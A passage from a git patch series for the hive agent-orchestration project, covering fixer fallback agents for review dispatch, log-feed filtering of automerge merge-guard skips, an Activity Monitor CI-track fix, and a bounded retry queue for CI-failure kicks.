value="${esc(rv.human_decision_label || '')}" placeholder="(none) β€” must already exist in the repo" data-change-action="markDirty" data-arg0="review" data-arg1="human_decision_label" data-arg-types="s,s,w"> @@ -63889,6 +63897,10 @@ <h4>${model.editIndex === null ? 'Add Event trigger' : 'Edit Event trigger'}</h4 markDirty('review', 'require_labels', parseReviewRequireLabels(text)); } + function markDirtyReviewFixerFallbackAgents(text) { + markDirty('review', 'fixer_fallback_agents', String(text || '').split(',').map(s => s.trim()).filter(Boolean)); + } + // Reviewer agents pick-list (Settings β†’ Features β†’ Review Gate β†’ // Reviewers, #13460). The checked rows become review.reviewer_agents; an // empty selection means "keyword scan", mirroring the server. diff --git a/src/pkg/review/dispatch.go b/src/pkg/review/dispatch.go index 8bac9cdeef..8a0f6452e3 100644 --- a/src/pkg/review/dispatch.go +++ b/src/pkg/review/dispatch.go @@ -176,8 +176,12 @@ type DispatchOptions struct { CombinedPerspectives bool ReviewerAgents []string FixerAgent string - ProjectOrg string - AIAuthor string + FixerFallbackAgents []string + // FixerAvailable optionally filters repair candidates by runtime liveness. + // Nil preserves the existing capability-only selection. + FixerAvailable func(string) bool + ProjectOrg string + AIAuthor string // PostComments carries config.ReviewConfig.PostComments into the prompt // builder, so reviewers are told to publish their verdict on the PR. PostComments bool @@ -1600,7 +1604,14 @@ func (p *DispatchPlan) dispatchFix(pr PullRequest, agg Aggregate, opts DispatchO agent := selectFixerAgent(pr, opts) if agent == "" { p.recordFixExclusion(pr, FixDispatchExcludedNoEnabledFixer, attempts) - p.State.Human = upsertHuman(p.State.Human, HumanReviewHold{Repo: pr.Repo, Number: pr.Number, HeadSHA: pr.HeadSHA, Reason: "no enabled kick-capable fixer agent is available", UpdatedAt: now}) + // Temporary runtime backpressure must remain retryable rather than + // becoming a maintainer decision. Preserve the configuration hold only + // when no candidate is capable even without the liveness filter. + capabilityOnly := opts + capabilityOnly.FixerAvailable = nil + if selectFixerAgent(pr, capabilityOnly) == "" { + p.State.Human = upsertHuman(p.State.Human, HumanReviewHold{Repo: pr.Repo, Number: pr.Number, HeadSHA: pr.HeadSHA, Reason: "no enabled kick-capable fixer agent is available", UpdatedAt: now}) + } return } attempts++ @@ -1648,8 +1659,9 @@ func hasLabelFold(labels []string, want string) bool { func selectFixerAgent(pr PullRequest, opts DispatchOptions) string { candidates := []string{strings.TrimSpace(opts.FixerAgent), strings.TrimSpace(pr.Lane), DefaultFixerAgent} + candidates = append(candidates, opts.FixerFallbackAgents...) for _, candidate := range candidates { - if candidate == "" { + if candidate == "" || (opts.FixerAvailable != nil && !opts.FixerAvailable(candidate)) { continue } for _, a := range opts.Agents { From aa5cfb08a854ac960383b7bdc7e8cf4d944bb0c4 Mon Sep 17 00:00:00 2001 From: "hivecommons-hive[bot]" <280983584+hivecommons-hive[bot]@users.noreply.github.com> Date: Wed, 4 Nov 2026 06:48:13 +0000 Subject: [PATCH 46/87] =?UTF-8?q?=F0=9F=90=9B=20fix(automerge):=20stop=20f?= =?UTF-8?q?iling=20merge-guard=20base-refresh=20skips=20as=20unclassified?= =?UTF-8?q?=20repeated=20errors=20(#16535)?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit * πŸ› fix(automerge): stop filing merge-guard base-refresh skips as unclassified repeated errors Signed-off-by: scanner <280983584+hivecommons-hive[bot]@users.noreply.github.com> * πŸ› fix(automerge): exclude merge-guard skips from all sweep lanes automergeMergeGuardSkip only matched the queued lane's "automerge sweep skipped PR" message. The trusted-author and contributor lanes log the same self-limiting base-refresh:merge-guard / ErrDestinationMergeBusy skip under their own messages, so those still reached ClassUnclassifiedRepeated under new fingerprints. Mirror failClosedStatus500's message switch and cover the two variants (plus an unmatched message) in the test. Hive-Fix-Attempt: 1/6 Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com> Signed-off-by: scanner <280983584+hivecommons-hive[bot]@users.noreply.github.com> --------- Signed-off-by: scanner <280983584+hivecommons-hive[bot]@users.noreply.github.com> Co-authored-by: scanner <280983584+hivecommons-hive[bot]@users.noreply.github.com> Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com> --- ...d-automerge-merge-guard-skip-selfreport.md | 1 + src/pkg/fleetreport/slogfeed/slogfeed.go | 28 ++++++++++++++- src/pkg/fleetreport/slogfeed/slogfeed_test.go | 35 +++++++++++++++++++ 3 files changed, 63 insertions(+), 1 deletion(-) create mode 100644 changelog.d/fixed-automerge-merge-guard-skip-selfreport.md diff --git a/changelog.d/fixed-automerge-merge-guard-skip-selfreport.md b/changelog.d/fixed-automerge-merge-guard-skip-selfreport.md new file mode 100644 index 0000000000..84771a421a --- /dev/null +++ b/changelog.d/fixed-automerge-merge-guard-skip-selfreport.md @@ -0,0 +1 @@ +- The fleet selfreport feed no longer files the automerge sweep lanes' (queued, trusted-author, contributor) `base-refresh:merge-guard` skip ("destination merge already in progress") as an `unclassified_error_repeated` issue; it is an expected, self-limiting outcome and stays in local logs (#16520). diff --git a/src/pkg/fleetreport/slogfeed/slogfeed.go b/src/pkg/fleetreport/slogfeed/slogfeed.go index 4d39bb3747..594dc8fdc8 100644 --- a/src/pkg/fleetreport/slogfeed/slogfeed.go +++ b/src/pkg/fleetreport/slogfeed/slogfeed.go @@ -114,7 +114,7 @@ func Key(msg string) string { } func (h *Handler) feed(r slog.Record) { - if expectedKickHold(r) || rateLimitedError(r) || upstreamUnavailableError(r) || failClosedStatus500(r) || hubHeartbeatUnavailable(r) || hubHeartbeatCachedFallback(r) || reviewCommentCapped(r) || inferenceBlockedStall(r) { + if expectedKickHold(r) || rateLimitedError(r) || upstreamUnavailableError(r) || failClosedStatus500(r) || hubHeartbeatUnavailable(r) || hubHeartbeatCachedFallback(r) || reviewCommentCapped(r) || inferenceBlockedStall(r) || automergeMergeGuardSkip(r) { return } class := fleetreport.ClassUnclassifiedRepeated @@ -211,6 +211,32 @@ func inferenceBlockedStall(r slog.Record) bool { return blocked } +// automergeMergeGuardSkip reports whether r is an automerge sweep lane +// (queued, trusted-author or contributor) declining to refresh a PR's base +// while a merge to that destination is already in flight (reason +// base-refresh:merge-guard). The guard is self-limiting and the PR is retried +// next tick (hivecommons/hive#16520). Any other sweep skip stays reportable. +func automergeMergeGuardSkip(r slog.Record) bool { + switch strings.TrimSpace(r.Message) { + case "automerge sweep skipped PR", + "trusted-author automerge sweep skipped PR", + "contributor-lane automerge sweep skipped PR": + default: + return false + } + reason, err := "", "" + r.Attrs(func(a slog.Attr) bool { + switch a.Key { + case "reason": + reason = a.Value.String() + case "error": + err = a.Value.String() + } + return true + }) + return reason == "base-refresh:merge-guard" && strings.Contains(err, "destination merge already in progress") +} + // failClosedStatus500 reports whether r is one of the two gates that fail // closed when GitHub answers the combined-status read with a 500: the // merge-eligible lane gate and the trusted-author automerge sweep skip. The PR diff --git a/src/pkg/fleetreport/slogfeed/slogfeed_test.go b/src/pkg/fleetreport/slogfeed/slogfeed_test.go index cef4231cbf..71679f87c6 100644 --- a/src/pkg/fleetreport/slogfeed/slogfeed_test.go +++ b/src/pkg/fleetreport/slogfeed/slogfeed_test.go @@ -700,6 +700,41 @@ func TestFailClosedStatus500LogsWithoutFleetReport(t *testing.T) { } } +// #16520: the base-refresh merge guard is a self-limiting skip, not a defect. +func TestAutomergeMergeGuardSkipLogsWithoutFleetReport(t *testing.T) { + guard := []any{"repo", "hive", "pr", 16511, "reason", "base-refresh:merge-guard", "error", "destination merge already in progress"} + cases := []struct { + name string + msg string + args []any + want int + }{ + {"merge guard", "automerge sweep skipped PR", guard, 0}, + {"trusted lane merge guard", "trusted-author automerge sweep skipped PR", guard, 0}, + {"contributor lane merge guard", "contributor-lane automerge sweep skipped PR", guard, 0}, + {"other reason", "automerge sweep skipped PR", []any{"repo", "hive", "pr", 16511, "reason", "base-refresh", "error", "update branch: 422 conflict"}, 8}, + {"guard reason other error", "automerge sweep skipped PR", []any{"repo", "hive", "pr", 16511, "reason", "base-refresh:merge-guard", "error", "boom"}, 8}, + {"other message", "self-authored automerge sweep skipped PR", guard, 8}, + } + for _, tc := range cases { + t.Run(tc.name, func(t *testing.T) { + logger, seen, out := newFeed(t) + for i := 0; i < 8; i++ { + logger.Warn(tc.msg, tc.args...) + } + if tc.want == 0 && len(*seen) != 0 { + t.Errorf("produced observations: %+v", *seen) + } + if tc.want != 0 && len(*seen) == 0 { + t.Errorf("must remain reportable") + } + if n := strings.Count(out.String(), "\n"); n != 8 { + t.Errorf("wrapped handler saw %d records, want 8", n) + } + }) + } +} + // #15789: a hub that is restarting answers the heartbeat 5xx and the spoke // retries on the next beat; auth rejections stay reportable. func TestHubHeartbeatUnavailableLogsWithoutFleetReport(t *testing.T) { From d6c434f5bdfd0a41b85aee0f9910f36e84ec3351 Mon Sep 17 00:00:00 2001 From: "hivecommons-hive[bot]" <280983584+hivecommons-hive[bot]@users.noreply.github.com> Date: Wed, 4 Nov 2026 07:03:47 +0000 Subject: [PATCH 47/87] =?UTF-8?q?=F0=9F=90=9B=20Activity=20Monitor:=20a=20?= =?UTF-8?q?071/072=20row=20with=20a=20pushed=20or=20checking=20head=20keep?= =?UTF-8?q?s=20its=20CI=20track=20lit=20(#16554)?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit * πŸ› Activity Monitor: a 071/072 row with a pushed or checking head keeps its CI track lit Signed-off-by: scanner <280983584+hivecommons-hive[bot]@users.noreply.github.com> * πŸ› mobile-shots: geometry probe measures box-less icon wrappers by their children tracker-header-geometry failed 'row 15 caption and icons are horizontally centred in the chevron' at every viewport <= 1100px (the max-width media block shows .ham-active-ico on each lit chevron). When that icon sits in .ham-active-ico-wrap { display: contents } the wrapper has no client rects, so the probe's visible() dropped the 12px icon + gap from the centring union while the chevron was visually centred. Flatten display: contents wrappers to the children that actually take flex space. Shared v5 baseline failure (hivecommons/hive#16551 residual after #16556). Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com> Signed-off-by: scanner <280983584+hivecommons-hive[bot]@users.noreply.github.com> --------- Signed-off-by: scanner <280983584+hivecommons-hive[bot]@users.noreply.github.com> Co-authored-by: scanner <280983584+hivecommons-hive[bot]@users.noreply.github.com> Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com> --- changelog.d/fixed-16552-pushed-head-ci-track.md | 1 + src/pkg/dashboard/stage_tracker_activity.test.js | 11 +++++++++++ src/pkg/dashboard/static-src/js/tracker-row-strip.js | 4 +++- src/pkg/dashboard/static/index.html | 4 +++- .../webstatic/testdata/tracker-header-geometry.js | 6 +++++- 5 files changed, 23 insertions(+), 3 deletions(-) create mode 100644 changelog.d/fixed-16552-pushed-head-ci-track.md diff --git a/changelog.d/fixed-16552-pushed-head-ci-track.md b/changelog.d/fixed-16552-pushed-head-ci-track.md new file mode 100644 index 0000000000..e5825b5ef8 --- /dev/null +++ b/changelog.d/fixed-16552-pushed-head-ci-track.md @@ -0,0 +1 @@ +- The Activity Monitor keeps the CI track lit on a 071/072 row whose pushed or checking head has checks running, instead of muting it as waiting on the contributor ([#16552](https://github.com/hivecommons/hive/issues/16552)). diff --git a/src/pkg/dashboard/stage_tracker_activity.test.js b/src/pkg/dashboard/stage_tracker_activity.test.js index 24e11ebcd1..eb7fb9c78a 100644 --- a/src/pkg/dashboard/stage_tracker_activity.test.js +++ b/src/pkg/dashboard/stage_tracker_activity.test.js @@ -631,6 +631,17 @@ test('known and original chevrons keep full long text inside a shared one-line c assert.match(css, /\.ham-row > \.ham-strip-row, \.ham-sub > \.ham-strip-row, \.ham-cols > \.ham-strip-row \{ overflow-x: auto; \}/); }); +test('a 071/072 row with a pushed or checking head keeps its running CI track lit (#16552)', () => { + for (const stage of [71, 72]) { + for (const state of ['pushed', 'checking']) { + const cells = physicalTracks(livePR({ stage, display_column: 50, push: { state }, ci_activity: activity('running', 'CI running Β· 1/2 checks done', true) })); + assert.match(cells.ci, /ham-activity-track active/, stage + '/' + state + ': checks run on the pushed head'); + } + const parked = physicalTracks(livePR({ stage, display_column: 50, ci_activity: activity('running', 'CI running Β· 1/2 checks done', true) })); + assert.doesNotMatch(parked.ci, /ham-activity-track active/, stage + ': no push in flight stays settled, waiting on the contributor'); + } +}); + test('real source repair can show three concurrent activities without naming a generic worker as reviewer', () => { const row = fs.readFileSync(path.join(root, 'tracker-row.js'), 'utf8'); const definitions = globals + ` diff --git a/src/pkg/dashboard/static-src/js/tracker-row-strip.js b/src/pkg/dashboard/static-src/js/tracker-row-strip.js index e45b818c7b..dd1529cfa5 100644 --- a/src/pkg/dashboard/static-src/js/tracker-row-strip.js +++ b/src/pkg/dashboard/static-src/js/tracker-row-strip.js @@ -102,7 +102,9 @@ if (!item) return false; if (item.needs_human || item.on_hold || item.hold) return true; const stage = Number(item.stage); - if (stage === 71 || stage === 72) return true; + // A freshly pushed head is in motion: checks run on it, matching + // tracker-row-anchor's column-50 anchor (hivecommons/hive#16552). + if ((stage === 71 || stage === 72) && !(item.push && ['pushed', 'checking'].includes(item.push.state))) return true; const code = item.code_activity; return !!(code && code.head === item.head && code.state === 'waiting_owner'); } diff --git a/src/pkg/dashboard/static/index.html b/src/pkg/dashboard/static/index.html index 123c31b131..6a2c4eb941 100644 --- a/src/pkg/dashboard/static/index.html +++ b/src/pkg/dashboard/static/index.html @@ -17915,7 +17915,9 @@ <h3 class="faq-group-title">Where to get help</h3> if (!item) return false; if (item.needs_human || item.on_hold || item.hold) return true; const stage = Number(item.stage); - if (stage === 71 || stage === 72) return true; + // A freshly pushed head is in motion: checks run on it, matching + // tracker-row-anchor's column-50 anchor (hivecommons/hive#16552). + if ((stage === 71 || stage === 72) && !(item.push && ['pushed', 'checking'].includes(item.push.state))) return true; const code = item.code_activity; return !!(code && code.head === item.head && code.state === 'waiting_owner'); } diff --git a/src/pkg/dashboard/webstatic/testdata/tracker-header-geometry.js b/src/pkg/dashboard/webstatic/testdata/tracker-header-geometry.js index db59ece36e..ab020815a5 100644 --- a/src/pkg/dashboard/webstatic/testdata/tracker-header-geometry.js +++ b/src/pkg/dashboard/webstatic/testdata/tracker-header-geometry.js @@ -271,8 +271,12 @@ assert(Math.abs((text.left + text.right) / 2 - (bounds.left + bounds.right) / 2) <= glyphTolerance, name + 'caption text is horizontally centred within its copy box: ' + JSON.stringify({ text, copy: { left: bounds.left, right: bounds.right } })); } + // A `display: contents` wrapper (.ham-active-ico-wrap) has no box of + // its own: its children are the flex items that take space, so the + // union measures them, not the box-less wrapper. + const boxes = el => getComputedStyle(el).display === 'contents' ? [...el.children].flatMap(boxes) : [el]; const group = copy.parentElement === info - ? [...info.children].filter(child => visible(child) && !child.classList.contains('config-tooltip')).map(rect) + ? [...info.children].flatMap(boxes).filter(child => visible(child) && !child.classList.contains('config-tooltip')).map(rect) : [bounds]; const union = { left: Math.min(...group.map(box => box.left)), right: Math.max(...group.map(box => box.right)), top: Math.min(...group.map(box => box.top)), bottom: Math.max(...group.map(box => box.bottom)) }; From 7060ac663baa9e3c078a1727a4f1d4337e55a935 Mon Sep 17 00:00:00 2001 From: "hivecommons-hive[bot]" <280983584+hivecommons-hive[bot]@users.noreply.github.com> Date: Wed, 4 Nov 2026 07:25:05 +0000 Subject: [PATCH 48/87] test(automerge): fold supersede-label assertion into TestAdoptNowTakesOverOwnerAuthoredPR (#16549) TestAdoptNowConsumesSupersedeLabelOn072 repeated the fixture and supersede assertion of TestAdoptNowTakesOverOwnerAuthoredPR; the only new coverage was the adoption/supersede label-removal check. That assertion now lives in the existing test so the behaviour stays pinned with one fixture instead of two. Closes #16538 Signed-off-by: scanner <280983584+hivecommons-hive[bot]@users.noreply.github.com> Co-authored-by: scanner <280983584+hivecommons-hive[bot]@users.noreply.github.com> --- .../automerge/automerge_adopt_now_test.go | 28 ++----------------- 1 file changed, 2 insertions(+), 26 deletions(-) diff --git a/src/pkg/github/automerge/automerge_adopt_now_test.go b/src/pkg/github/automerge/automerge_adopt_now_test.go index aa61d5ae9e..cdf29ad8a6 100644 --- a/src/pkg/github/automerge/automerge_adopt_now_test.go +++ b/src/pkg/github/automerge/automerge_adopt_now_test.go @@ -158,32 +158,8 @@ func TestAdoptNowTakesOverOwnerAuthoredPR(t *testing.T) { if _, forced := rec.AdoptionForced(); forced || rec.AdoptionBlocked("aaa") != "" { t.Fatalf("forced mark or person block survived the adoption: %+v", rec) } -} - -// hivecommons/hive#16489: Adopt now queues the adoption/supersede label along -// with the forced mark. A labelled PR, whatever its stage, is handled by the -// delegated-request block in ApplyStageLabels, which removes the label once -// the attempt is recorded β€” so later sweeps do not re-read it as a plain -// request and refuse an owner's PR every pass. Regression guard for a PR -// parked at 072 when the forced adoption lands. -func TestAdoptNowConsumesSupersedeLabelOn072(t *testing.T) { - policy := adoptPolicy() - policy.OwnerAuthor = func(login string) bool { return login == "mallory" } - h, done := newAdoptHarness(t, ContributorNudgeOutcome{Mode: "comment"}, policy) - defer done() - h.sink.presence = &ContributorPresence{Registered: true, Online: false} - h.observe(adoptPR(7, "aaa"), "check-failing:unit") - key := stageKey("acme", "widget", 7) - store := h.e.stageStoreOrShared() - labels := []string{"stage/072-returned-to-contributor", "role/contributor", "author/clanker"} - - store.NoteAdoptionForced(key, "clubanderson", h.clock.now()) - h.api.reset() - h.clock.advance(time.Minute) - h.observe(adoptPR(7, "aaa", append(labels, "adoption/supersede")...), "check-failing:unit") - if len(h.adopt.pulls) != 1 { - t.Fatalf("Adopt now did not supersede: pulls=%v", h.adopt.pulls) - } + // hivecommons/hive#16489: adoption/supersede label is consumed and removed + // after the forced adoption is recorded. if !containsLabel(h.api.removed, "adoption/supersede") { t.Fatalf("request label kept after the forced adoption was consumed: removed=%v", h.api.removed) } From 2ef949e932d321b23e85160c701802a1749dc4bc Mon Sep 17 00:00:00 2001 From: thatguywob <revans.tech@icloud.com> Date: Wed, 4 Nov 2026 00:46:49 -0700 Subject: [PATCH 49/87] =?UTF-8?q?=F0=9F=90=9B=20fix:=20retry=20busy=20CI-f?= =?UTF-8?q?ailure=20kicks=20through=20a=20bounded=20pending=20queue=20(#16?= =?UTF-8?q?539)?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Retry busy-agent webhook kicks with exponential backoff, then retain them for governor evaluation without consuming the original webhook cooldown again. Bound the queue and total attempts, recheck delivery gates, and warn once with the attempt count when delivery is exhausted. Forget resolved check signals on successful webhooks and enrichment, and clear closed or superseded PR signals so queued repairs cannot outlive the failure. Add regression coverage for retry, dedupe, bounds and cleanup. Hive-Run: hivecommons/hive#16534 Hive-Plan: ci-failure-webhook-retry Hive-Spec: issue-16534#acceptance-criteria Signed-off-by: thatguywob <thatguywob@users.noreply.github.com> Co-authored-by: thatguywob <thatguywob@users.noreply.github.com> Co-authored-by: hivecommons-hive[bot] <280983584+hivecommons-hive[bot]@users.noreply.github.com> --- changelog.d/fixed-ci-failure-kick-retry.md | 1 + src/cmd/hive/boot.go | 1 + src/cmd/hive/ci_failure_kick.go | 107 +++++----- src/cmd/hive/ci_failure_kick_test.go | 3 +- src/cmd/hive/ci_failure_pending.go | 195 ++++++++++++++++++ src/cmd/hive/ci_failure_pending_test.go | 218 +++++++++++++++++++++ src/cmd/hive/run_loop_deps.go | 1 + src/pkg/github/ci_failure_signal.go | 59 +++++- src/pkg/github/ci_failure_signal_test.go | 42 ++++ src/pkg/github/client.go | 3 + src/pkg/github/coverage90_test.go | 7 + src/pkg/github/webhook_cache.go | 1 + 12 files changed, 584 insertions(+), 54 deletions(-) create mode 100644 changelog.d/fixed-ci-failure-kick-retry.md create mode 100644 src/cmd/hive/ci_failure_pending.go create mode 100644 src/cmd/hive/ci_failure_pending_test.go diff --git a/changelog.d/fixed-ci-failure-kick-retry.md b/changelog.d/fixed-ci-failure-kick-retry.md new file mode 100644 index 0000000000..bd33424018 --- /dev/null +++ b/changelog.d/fixed-ci-failure-kick-retry.md @@ -0,0 +1 @@ +- Retry CI-failure webhook kicks with bounded backoff when the owning agent is busy, then drain a bounded per-PR/check pending queue on governor evaluations; discard resolved signals when checks pass or PRs close. diff --git a/src/cmd/hive/boot.go b/src/cmd/hive/boot.go index 5112eaad90..e6842022af 100644 --- a/src/cmd/hive/boot.go +++ b/src/cmd/hive/boot.go @@ -110,6 +110,7 @@ type boot struct { ghAuth githubAuth ghClient *github.Client appAuth *github.AppAuth + ciFailureKicker *ciFailureKicker gov *governor.Governor sched *scheduler.Scheduler notifier *notify.Notifier diff --git a/src/cmd/hive/ci_failure_kick.go b/src/cmd/hive/ci_failure_kick.go index 1830316665..b98e168eba 100644 --- a/src/cmd/hive/ci_failure_kick.go +++ b/src/cmd/hive/ci_failure_kick.go @@ -5,6 +5,7 @@ import ( "errors" "log/slog" "strings" + "sync" "time" "github.com/hivecommons/hive/pkg/config" @@ -33,7 +34,7 @@ var errNoAgentRuntime = errors.New("agent runtime not available") // off the webhook goroutine so GitHub gets its 200 at once. type ciFailureKicker struct { cfg func() *config.Config - gov *governor.Governor + gov func() *governor.Governor isPaused func(agent string) bool message func(agent string, sig github.CIFailureSignal) string attribute func(repo string, number int) string @@ -42,12 +43,17 @@ type ciFailureKicker struct { ctx context.Context // spawn runs the kick delivery; tests swap in a synchronous runner. spawn func(func()) + + mu sync.Mutex + pending map[ciFailurePendingKey]*ciFailurePending + now func() time.Time + wait func(context.Context, time.Duration) bool } func (b *boot) newCIFailureKicker() *ciFailureKicker { k := &ciFailureKicker{ cfg: func() *config.Config { return b.cfg }, - gov: b.gov, + gov: func() *governor.Governor { return b.gov }, attribute: github.AuthorAgentForPR, logger: b.logger, ctx: b.ctx, @@ -73,8 +79,8 @@ func (b *boot) newCIFailureKicker() *ciFailureKicker { // ciFailureKickFunc is the dashboard.Dependencies.CIFailureKick hook. func (b *boot) ciFailureKickFunc() func(sig github.CIFailureSignal) dashboard.CIFailureKickOutcome { - k := b.newCIFailureKicker() - return k.React + b.ciFailureKicker = b.newCIFailureKicker() + return b.ciFailureKicker.React } // React decides and, when every gate passes, dispatches the kick. @@ -82,10 +88,6 @@ func (k *ciFailureKicker) React(sig github.CIFailureSignal) dashboard.CIFailureK if k == nil { return dashboard.CIFailureKickOutcome{Reason: "no kicker"} } - logger := k.logger - if logger == nil { - logger = slog.Default() - } cfg := k.cfg() if cfg == nil { return dashboard.CIFailureKickOutcome{Reason: "no config"} @@ -101,25 +103,8 @@ func (k *ciFailureKicker) React(sig github.CIFailureSignal) dashboard.CIFailureK agent = ciFailureKickDefaultAgent } out := dashboard.CIFailureKickOutcome{Agent: agent} - ac, ok := cfg.Agents[agent] - if !ok { - out.Reason = "unknown agent" - return out - } - if !ac.Enabled || ac.Paused { - out.Reason = "agent paused" - return out - } - if k.isPaused != nil && k.isPaused(agent) { - out.Reason = "agent paused" - return out - } - if cfg.IsRepoPaused(sig.Repo) { - out.Reason = "repo paused" - return out - } - if k.gov != nil && !k.gov.AgentEligibleForCELKick(agent) { - out.Reason = "governor gated" + if reason := k.gate(sig, agent); reason != "" { + out.Reason = reason return out } // Attribute before rendering so the fix-before-new builder lists the @@ -134,34 +119,54 @@ func (k *ciFailureKicker) React(sig github.CIFailureSignal) dashboard.CIFailureK out.Reason = "nothing to repair" return out } - if !github.CIFailureSignals().AllowKick(sig.Repo, sig.Number, sig.HeadSHA, cfg.CIFailureKickCooldown()) { - out.Reason = "cooldown" - return out - } if k.send == nil { out.Reason = "no kick sender" return out } + p, reason := k.reserve(sig, message) + if reason != "" { + out.Reason = reason + return out + } + if !github.CIFailureSignals().AllowKick(sig.Repo, sig.Number, sig.HeadSHA, cfg.CIFailureKickCooldown()) { + k.remove(p) + out.Reason = "cooldown" + return out + } out.Kicked = true - spawn := k.spawn - if spawn == nil { - spawn = func(fn func()) { go fn() } - } - spawn(func() { - parent := k.ctx - if parent == nil { - parent = context.Background() - } - ctx, cancel := context.WithTimeout(parent, ciFailureKickSendTimeout) - defer cancel() - if err := k.send(ctx, agent, message); err != nil { - logger.Warn("ci failure webhook kick failed", "agent", agent, "repo", sig.Repo, "number", sig.Number, "check", sig.Check, "error", err) - return - } - if k.gov != nil { - k.gov.RecordKickForRepo(agent, sig.Repo) - } - logger.Info("ci failure webhook kick delivered", "agent", agent, "repo", sig.Repo, "number", sig.Number, "check", sig.Check) - }) + k.dispatch(p, ciFailureKickImmediateAttempts) return out } + +// gate is rechecked before deferred delivery, so a queued kick never bypasses +// a pause, config change or governor budget gate that landed during backoff. +func (k *ciFailureKicker) gate(sig github.CIFailureSignal, agent string) string { + cfg := k.cfg() + if cfg == nil { + return "no config" + } + if !cfg.CIFailureWebhookKick() { + return "disabled" + } + ac, ok := cfg.Agents[agent] + if !ok { + return "unknown agent" + } + if !ac.Enabled || ac.Paused || (k.isPaused != nil && k.isPaused(agent)) { + return "agent paused" + } + if cfg.IsRepoPaused(sig.Repo) { + return "repo paused" + } + if gov := k.governor(); gov != nil && !gov.AgentEligibleForCELKick(agent) { + return "governor gated" + } + return "" +} + +func (k *ciFailureKicker) governor() *governor.Governor { + if k.gov != nil { + return k.gov() + } + return nil +} diff --git a/src/cmd/hive/ci_failure_kick_test.go b/src/cmd/hive/ci_failure_kick_test.go index 01106228f0..e687654921 100644 --- a/src/cmd/hive/ci_failure_kick_test.go +++ b/src/cmd/hive/ci_failure_kick_test.go @@ -21,9 +21,10 @@ func newCIFailureKickerForTest(t *testing.T, cfg *config.Config) (*ciFailureKick t.Helper() var sent []ciKickRecord logger := slog.New(slog.NewTextHandler(os.Stderr, &slog.HandlerOptions{Level: slog.LevelError})) + gov := governor.New(cfg.Governor, cfg.EnabledAgents(), logger) k := &ciFailureKicker{ cfg: func() *config.Config { return cfg }, - gov: governor.New(cfg.Governor, cfg.EnabledAgents(), logger), + gov: func() *governor.Governor { return gov }, attribute: func(repo string, number int) string { return "quality" }, message: func(agent string, sig github.CIFailureSignal) string { return "CI failed on " + sig.Repo + " for " + agent diff --git a/src/cmd/hive/ci_failure_pending.go b/src/cmd/hive/ci_failure_pending.go new file mode 100644 index 0000000000..b240d9f800 --- /dev/null +++ b/src/cmd/hive/ci_failure_pending.go @@ -0,0 +1,195 @@ +package main + +import ( + "context" + "errors" + "log/slog" + "strings" + "time" + + "github.com/hivecommons/hive/crux" + "github.com/hivecommons/hive/pkg/github" +) + +const ( + ciFailureKickImmediateAttempts = 3 + ciFailureKickMaxAttempts = 6 + ciFailureKickMaxPending = 128 +) + +type ciFailurePendingKey struct { + repo, check string + number int +} + +type ciFailurePending struct { + key ciFailurePendingKey + sig github.CIFailureSignal + message string + attempts int + next time.Time + inFlight bool +} + +func (k *ciFailureKicker) reserve(sig github.CIFailureSignal, message string) (*ciFailurePending, string) { + key := ciFailurePendingKey{strings.ToLower(strings.TrimSpace(sig.Repo)), strings.TrimSpace(sig.Check), sig.Number} + k.mu.Lock() + defer k.mu.Unlock() + if k.pending == nil { + k.pending = make(map[ciFailurePendingKey]*ciFailurePending) + } + if prev := k.pending[key]; prev != nil && strings.EqualFold(prev.sig.HeadSHA, sig.HeadSHA) { + return nil, "pending" + } + if k.pending[key] == nil && len(k.pending) >= ciFailureKickMaxPending { + return nil, "pending queue full" + } + // A newer head replaces the old pending signal without growing the queue. + // The old worker checks pointer identity before attempting another send. + p := &ciFailurePending{key: key, sig: sig, message: message, inFlight: true} + k.pending[key] = p + return p, "" +} + +func (k *ciFailureKicker) remove(p *ciFailurePending) { + k.mu.Lock() + defer k.mu.Unlock() + if k.pending[p.key] == p { + delete(k.pending, p.key) + } +} + +func (k *ciFailureKicker) clock() time.Time { + if k.now != nil { + return k.now() + } + return time.Now() +} + +// Drain retries pending kicks once at the governor's next evaluation. It does +// no delivery IO on the evaluation goroutine and never runs a second worker +// for an entry already being delivered. Retries bypass the webhook cooldown: +// that cooldown was consumed by the original dispatch, not by a delivery. +func (k *ciFailureKicker) Drain() { + if k == nil { + return + } + now := k.clock() + k.mu.Lock() + var due []*ciFailurePending + for key, p := range k.pending { + if !ciFailureStillPending(p.sig) { + delete(k.pending, key) + continue + } + if !p.inFlight && !now.Before(p.next) { + p.inFlight = true + due = append(due, p) + } + } + k.mu.Unlock() + for _, p := range due { + k.dispatch(p, 1) + } +} + +func ciFailureStillPending(sig github.CIFailureSignal) bool { + for _, current := range github.CIFailureSignals().ForPR(sig.Repo, sig.Number) { + if strings.EqualFold(current.HeadSHA, sig.HeadSHA) && strings.TrimSpace(current.Check) == strings.TrimSpace(sig.Check) { + return true + } + } + return false +} + +func ciFailureKickBackoff(attempts int) time.Duration { + return time.Second << (attempts - 1) +} + +func (k *ciFailureKicker) dispatch(p *ciFailurePending, limit int) { + spawn := k.spawn + if spawn == nil { + spawn = func(fn func()) { go fn() } + } + spawn(func() { k.deliver(p, limit) }) +} + +func (k *ciFailureKicker) deliver(p *ciFailurePending, limit int) { + parent := k.ctx + if parent == nil { + parent = context.Background() + } + logger := k.logger + if logger == nil { + logger = slog.Default() + } + for i := 0; i < limit; i++ { + k.mu.Lock() + current := k.pending[p.key] == p + k.mu.Unlock() + if !current { + return + } + if parent.Err() != nil || (p.attempts > 0 && !ciFailureStillPending(p.sig)) { + k.remove(p) + return + } + if k.gate(p.sig, p.sig.Agent) != "" { + break + } + message := p.message + if p.attempts > 0 { + message = k.message(p.sig.Agent, p.sig) + } + if strings.TrimSpace(message) == "" { + k.remove(p) + return + } + p.attempts++ + // Bound each send separately: a busy runtime may spend the full + // prompt timeout before returning ErrAgentBusy. That must still + // leave room for retries unless the process context was cancelled. + ctx, cancel := context.WithTimeout(parent, ciFailureKickSendTimeout) + err := k.send(ctx, p.sig.Agent, message) + cancel() + if err == nil { + k.remove(p) + if gov := k.governor(); gov != nil { + gov.RecordKickForRepo(p.sig.Agent, p.sig.Repo) + } + 